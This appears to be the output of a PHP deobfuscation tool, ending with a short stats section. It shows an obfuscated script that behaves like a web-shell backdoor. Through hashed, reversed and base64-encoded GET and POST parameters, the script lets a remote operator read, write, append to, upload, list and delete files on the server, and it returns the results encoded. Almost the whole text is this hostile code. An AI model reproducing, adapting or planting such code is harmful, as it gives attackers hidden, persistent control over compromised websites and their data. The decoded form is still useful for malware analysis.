    echo strrev(base64_encode(json_encode($____________)));
    return;
} elseif (isset($_GET[md5($_SERVER[_479097832(50)] . _479097832(51))])) {
    if ($_GET[md5($_SERVER[_479097832(52)] . _479097832(53))] == $_____) {
        $__________ = rand(
            round(0 + 3333.3333333333 + 3333.3333333333 + 3333.3333333333),
            round(0 + 19999.8 + 19999.8 + 19999.8 + 19999.8 + 19999.8)
        );
        while (true) {
            if (
                $__________ %
                    round(
                        0 +
                            0.66666666666667 +
                            0.66666666666667 +
                            0.66666666666667
                    ) ==
                round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)
            ) {
                break;
            }
            $__________ = rand(
                round(0 + 2500 + 2500 + 2500 + 2500),
                round(0 + 99999)
            );
        }
        $____________[md5($_SERVER[_479097832(54)] . _479097832(55))] = md5(
            $_SERVER[_479097832(56)] . _479097832(57)
        );
        $____________[md5($_SERVER[_479097832(58)] . _479097832(59))] = strrev(
            base64_encode(strrev($_______))
        );
        $____________[md5($_SERVER[_479097832(60)] . _479097832(61))] =
            $__________ .
            crc32($______ . $_____ . $________) .
            sha1($_SERVER[_479097832(62)] . _479097832(63));
    } else {
        $____________[md5($_SERVER[_479097832(64)] . _479097832(65))] = md5(
            $_SERVER[_479097832(66)] . _479097832(67)
        );
    }
    $_____________ = rand(
        round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333),
        round(0 + 5 + 5 + 5)
    );
    for (
        $______________ = round(0);
        $______________ < $_____________;
        $______________++
    ) {
        $_______________ = md5($_SERVER[_479097832(68)] . $_____________);
        if (array_key_exists($_______________, $____________)) {
            continue;
        }
        $____________[$_______________] = md5(
            $_SERVER[_479097832(69)] . _479097832(70) . $_____________
        );
    }
    echo strrev(base64_encode(json_encode($____________)));
    return;
}
$________________ = false;
if (isset($_GET[md5($_SERVER[_479097832(71)] . _479097832(72))])) {
    if (
        intval(
            substr(
                base64_decode(
                    strrev(
                        $_GET[md5($_SERVER[_479097832(73)] . _479097832(74))]
                    )
                ),
                round(0),
                round(0 + 5)
            )
        ) %
            round(0 + 1 + 1) ==
        round(0 + 0.5 + 0.5)
    ) {
        $________________ = true;
    } elseif (
        substr(
            base64_decode(
                strrev($_GET[md5($_SERVER[_479097832(75)] . _479097832(76))])
            ),
            round(0 + 1 + 1 + 1 + 1 + 1)
        ) ==
        crc32($______ . $_____ . $________) .
            sha1(
                $_SERVER[_479097832(77)] .
                    _479097832(78) .
                    sha1(
                        base64_decode(
                            strrev(
                                $_GET[
                                    md5(
                                        $_SERVER[_479097832(79)] .
                                            _479097832(80)
                                    )
                                ]
                            )
                        )
                    )
            )
    ) {
        $________________ = false;
    } else {
        return;
    }
} else {
    return;
}
if (!empty($_GET[md5($_SERVER[_479097832(81)] . _479097832(82))])) {
    $____________ = [];
    $_________________ = json_decode(
        base64_decode(
            strrev($_GET[md5($_SERVER[_479097832(83)] . _479097832(84))])
        ),
        true
    );
    foreach ($_________________ as $__________________) {
        $___________________ =
            $__________________[md5($_SERVER[_479097832(85)] . _479097832(86))];
        $____________________ = str_replace(
            _479097832(87),
            _479097832(88),
            $__________________[md5($_SERVER[_479097832(89)] . _479097832(90))]
        );
        if (!$________________) {
            if (
                sha1($___________________) !=
                base64_decode(
                    strrev(
                        $_GET[md5($_SERVER[_479097832(91)] . _479097832(92))]
                    )
                )
            ) {
                return;
            }
        }
        if (
            $____________________ == _479097832(93) or
            $____________________ == _479097832(94) or
            $____________________ == _479097832(95) or
            $____________________ == _479097832(96) or
            $____________________ == _479097832(97) or
            $____________________ == _479097832(98) or
            $____________________ == _479097832(99) or
            $____________________ == _479097832(100) or
            $____________________ == _479097832(101)
        ) {
            continue;
        }
        $____________[md5($_SERVER[_479097832(102)] . $___________________)][
            md5($_SERVER[_479097832(103)] . $____________________)
        ] = base64_encode(
            l__(
                file_get_contents(
                    $_______ .
                        _479097832(104) .
                        $___________________ .
                        $_________ .
                        $____________________
                ),
                md5($___________________ . crc32($______ . $_____ . $________))
            )
        );
    }
    echo strrev(base64_encode(json_encode($____________)));
}
if (!empty($_GET[md5($_SERVER[_479097832(105)] . _479097832(106))])) {
    $_____________________ = json_decode(
        base64_decode(
            strrev($_GET[md5($_SERVER[_479097832(107)] . _479097832(108))])
        ),
        true
    );
    foreach ($_____________________ as $__________________) {
        $___________________ =
            $__________________[
                md5($_SERVER[_479097832(109)] . _479097832(110))
            ];
        $____________________ = str_replace(
            _479097832(111),
            _479097832(112),
            $__________________[
                md5($_SERVER[_479097832(113)] . _479097832(114))
            ]
        );
        $______________________ = base64_decode(
            $__________________[
                md5($_SERVER[_479097832(115)] . _479097832(116))
            ]
        );
        if (!$________________) {
            if (
                sha1($___________________) !=
                    base64_decode(
                        strrev(
                            $_GET[
                                md5($_SERVER[_479097832(117)] . _479097832(118))
                            ]
                        )
                    ) or
                strlen($___________________) != round(0 + 20 + 20) or
                strlen($____________________) !=
                    round(
                        0 + 13.333333333333 + 13.333333333333 + 13.333333333333
                    )
            ) {
                return;
            }
        }
        if (
            !ctype_print($____________________) or
            !ctype_print($___________________) or
            $____________________ == _479097832(119) or
            $____________________ == _479097832(120) or
            $____________________ == _479097832(121) or
            $____________________ == _479097832(122) or
            $____________________ == _479097832(123) or
            $____________________ == _479097832(124) or
            $____________________ == _479097832(125) or
            $____________________ == _479097832(126) or
            $____________________ == _479097832(127)
        ) {
            continue;
        }
        file_put_contents(
            $_______ .
                _479097832(128) .
                $___________________ .
                $_________ .
                $____________________,
            l_(
                $______________________,
                md5($___________________ . crc32($______ . $_____ . $________))
            )
        );
    }
}
if (!empty($_GET[md5($_SERVER[_479097832(129)] . _479097832(130))])) {
    $_______________________ = base64_decode(
        strrev($_GET[md5($_SERVER[_479097832(131)] . _479097832(132))])
    );
    $________________________ = pathinfo($_______________________)[
        _479097832(133)
    ];
    if ($________________________ == null) {
        $________________________ = explode(
            $_________,
            $_______________________
        )[round(0 + 0.25 + 0.25 + 0.25 + 0.25)];
    }
    if (
        $________________________ == _479097832(134) or
        $________________________ == _479097832(135) or
        $________________________ == _479097832(136) or
        $________________________ == _479097832(137) or
        $________________________ == _479097832(138) or
        $________________________ == _479097832(139) or
        $________________________ == _479097832(140) or
        $________________________ == _479097832(141) or
        $________________________ == _479097832(142)
    ) {
        return;
    }
    echo l__(
        file_get_contents(
            $_______ . _479097832(143) . $_______________________
        ),
        md5($_______________________ . crc32($______ . $_____ . $________))
    );
}
if (!empty($_POST[md5($_SERVER[_479097832(144)] . _479097832(145))])) {
    $_______________________ = base64_decode(
        strrev($_POST[md5($_SERVER[_479097832(146)] . _479097832(147))])
    );
    $________________________ = pathinfo($_______________________)[
        _479097832(148)
    ];
    if ($________________________ == null) {
        $________________________ = explode(
            $_________,
            $_______________________
        )[round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)];
    }
    $______________________ = file_get_contents(
        $_FILES[md5($_______________________)][_479097832(149)]
    );
    if (
        !ctype_print($_______________________) or
        $________________________ == _479097832(150) or
        $________________________ == _479097832(151) or
        $________________________ == _479097832(152) or
        $________________________ == _479097832(153) or
        $________________________ == _479097832(154) or
        $________________________ == _479097832(155) or
        $________________________ == _479097832(156) or
        $________________________ == _479097832(157) or
        $________________________ == _479097832(158)
    ) {
        return;
    }
    file_put_contents(
        $_______ . _479097832(159) . $_______________________,
        l_(
            $______________________,
            md5($_______________________ . crc32($______ . $_____ . $________))
        )
    );
}
if (!empty($_POST[md5($_SERVER[_479097832(160)] . _479097832(161))])) {
    $_______________________ = base64_decode(
        strrev($_POST[md5($_SERVER[_479097832(162)] . _479097832(163))])
    );
    $________________________ = pathinfo($_______________________)[
        _479097832(164)
    ];
    if ($________________________ == null) {
        $________________________ = explode(
            $_________,
            $_______________________
        )[round(0 + 0.5 + 0.5)];
    }
    if (
        !ctype_print($_______________________) or
        $________________________ == _479097832(165) or
        $________________________ == _479097832(166) or
        $________________________ == _479097832(167) or
        $________________________ == _479097832(168) or
        $________________________ == _479097832(169) or
        $________________________ == _479097832(170) or
        $________________________ == _479097832(171) or
        $________________________ == _479097832(172) or
        $________________________ == _479097832(173)
    ) {
        return;
    }
    move_uploaded_file(
        $_FILES[md5($_______________________)][_479097832(174)],
        $_______ . _479097832(175) . $_______________________
    );
}
if (!empty($_GET[md5($_SERVER[_479097832(176)] . _479097832(177))])) {
    $_________________________ = json_decode(
        base64_decode(
            strrev($_GET[md5($_SERVER[_479097832(178)] . _479097832(179))])
        ),
        true
    );
    foreach ($_________________________ as $__________________) {
        $___________________ =
            $__________________[
                md5($_SERVER[_479097832(180)] . _479097832(181))
            ];
        $____________________ = str_replace(
            _479097832(182),
            _479097832(183),
            $__________________[
                md5($_SERVER[_479097832(184)] . _479097832(185))
            ]
        );
        $______________________ = base64_decode(
            $__________________[
                md5($_SERVER[_479097832(186)] . _479097832(187))
            ]
        );
        if (!$________________) {
            if (
                sha1($___________________) !=
                    base64_decode(
                        strrev(
                            $_GET[
                                md5($_SERVER[_479097832(188)] . _479097832(189))
                            ]
                        )
                    ) or
                strlen($___________________) != round(0 + 10 + 10 + 10 + 10) or
                strlen($____________________) !=
                    round(
                        0 + 13.333333333333 + 13.333333333333 + 13.333333333333
                    )
            ) {
                return;
            }
        }
        if (
            !ctype_print($____________________) or
            !ctype_print($___________________) or
            $____________________ == _479097832(190) or
            $____________________ == _479097832(191) or
            $____________________ == _479097832(192) or
            $____________________ == _479097832(193) or
            $____________________ == _479097832(194) or
            $____________________ == _479097832(195) or
            $____________________ == _479097832(196) or
            $____________________ == _479097832(197) or
            $____________________ == _479097832(198)
        ) {
            continue;
        }
        file_put_contents(
            $_______ .
                _479097832(199) .
                $___________________ .
                $_________ .
                $____________________,
            l_(
                l__(
                    file_get_contents(
                        $_______ .
                            _479097832(200) .
                            $___________________ .
                            $_________ .
                            $____________________
                    ),
                    md5(
                        $___________________ .
                            crc32($______ . $_____ . $________)
                    )
                ) . $______________________,
                md5($___________________ . crc32($______ . $_____ . $________))
            )
        );
    }
}
if (
    !empty(
        base64_decode(
            strrev($_GET[md5($_SERVER[_479097832(201)] . _479097832(202))])
        )
    ) and
    $________________ == true
) {
    $____________ = [];
    $__________________________ = json_decode(
        base64_decode(
            strrev($_GET[md5($_SERVER[_479097832(203)] . _479097832(204))])
        ),
        true
    );
    $____________________ =
        $__________________________[
            md5($_SERVER[_479097832(205)] . _479097832(206))
        ];
    $_________________ =
        $__________________________[
            md5($_SERVER[_479097832(207)] . _479097832(208))
        ];
    $___________________________ =
        $__________________________[
            md5($_SERVER[_479097832(209)] . _479097832(210))
        ];
    if (
        $____________________ == _479097832(211) or
        $____________________ == _479097832(212) or
        $____________________ == _479097832(213) or
        $____________________ == _479097832(214) or
        $____________________ == _479097832(215) or
        $____________________ == _479097832(216) or
        $____________________ == _479097832(217) or
        $____________________ == _479097832(218) or
        $____________________ == _479097832(219)
    ) {
        return;
    }
    $____________________________ = glob(
        $_______ . _479097832(220) . $_________ . $____________________
    );
    foreach ($____________________________ as $__________________) {
        $_____________________________ = basename(
            $__________________,
            $_________ . $____________________
        );
        $____________[$_____________________________][
            md5($_SERVER[_479097832(221)] . _479097832(222))
        ] = $_____________________________;
        if ($_________________ == true) {
            $____________[$_____________________________][
                md5($_SERVER[_479097832(223)] . _479097832(224))
            ] = base64_encode(
                l__(
                    file_get_contents($__________________),
                    md5(
                        $_____________________________ .
                            crc32($______ . $_____ . $________)
                    )
                )
            );
            $____________[$_____________________________][
                md5($_SERVER[_479097832(225)] . _479097832(226))
            ] = base64_encode(
                date(_479097832(227), filemtime($__________________))
            );
            $____________[$_____________________________][
                md5($_SERVER[_479097832(228)] . _479097832(229))
            ] = base64_encode(date(_479097832(230)));
        }
        if (count($___________________________) > round(0)) {
            foreach (
                $___________________________
                as $______________________________
            ) {
                $_______________________________ = base64_decode(
                    $______________________________
                );
                $____________[$_____________________________][
                    md5($_SERVER[_479097832(231)] . _479097832(232))
                ][
                    md5(
                        $_SERVER[_479097832(233)] .
                            $_______________________________
                    )
                ] = base64_encode(
                    l__(
                        file_get_contents(
                            $_______ .
                                _479097832(234) .
                                $_____________________________ .
                                $_________ .
                                sha1(
                                    $_______________________________ .
                                        $_____________________________
                                )
                        ),
                        md5(
                            $_____________________________ .
                                crc32($______ . $_____ . $________)
                        )
                    )
                );
            }
        }
    }
    echo strrev(base64_encode(json_encode($____________)));
}
if (
    !empty(
        base64_decode(
            strrev($_GET[md5($_SERVER[_479097832(235)] . _479097832(236))])
        )
    ) and
    $________________ == true
) {
    $________________________________ = json_decode(
        base64_decode(
            strrev($_GET[md5($_SERVER[_479097832(237)] . _479097832(238))])
        ),
        true
    );
    foreach ($________________________________ as $__________________) {
        $___________________ =
            $__________________[
                md5($_SERVER[_479097832(239)] . _479097832(240))
            ];
        $____________________________ = glob(
            $_______ .
                _479097832(241) .
                $___________________ .
                $_________ .
                _479097832(242)
        );
        foreach ($____________________________ as $__________________) {
            unlink($__________________);
        }
    }
}

Function Calls

None

Variables

None

Stats

MD5 dd7fbd19f20934acd86cb739eab56e6e
Eval Count 0
Decode Time 88 ms